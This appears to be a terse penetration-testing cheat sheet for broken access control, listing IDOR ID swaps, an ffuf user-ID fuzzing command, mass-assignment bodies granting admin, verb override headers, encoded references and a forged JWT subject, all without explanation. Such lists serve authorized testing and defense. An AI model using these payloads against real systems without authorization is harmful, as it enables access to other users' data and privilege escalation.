Insecure Direct Object Reference and broken access control — ID tampering, mass assignment, verb abuse, encoded references, BFLA function-level access and Autorize/Arjun tooling.
GET /api/users/1001 -> /api/users/1002
GET /api/invoice?id=1002
/api/users/me vs /api/users/1002
ffuf -w ids.txt -u https://target.com/api/users/FUZZ -H "Authorization: Bearer TOKEN" -mc 200
{"userId": 1002}
{"role":"admin","isAdmin":true}
id=self&id=1002
id[]=1002
change GET to PUT / PATCH / DELETE on another user's resource
X-HTTP-Method-Override: PUT
?id=MTAwMg== (base64 of 1002)
JWT sub claim set to the victim's id
?file=<md5(1002)>
GET /api/admin/users (as a low-privilege user)
POST /api/users/1002/promote
swap /user/ for /admin/ in known routes
append .json / a trailing slash / change path case
Burp Autorize / AuthMatrix extension
arjun -u https://target.com/api/endpoint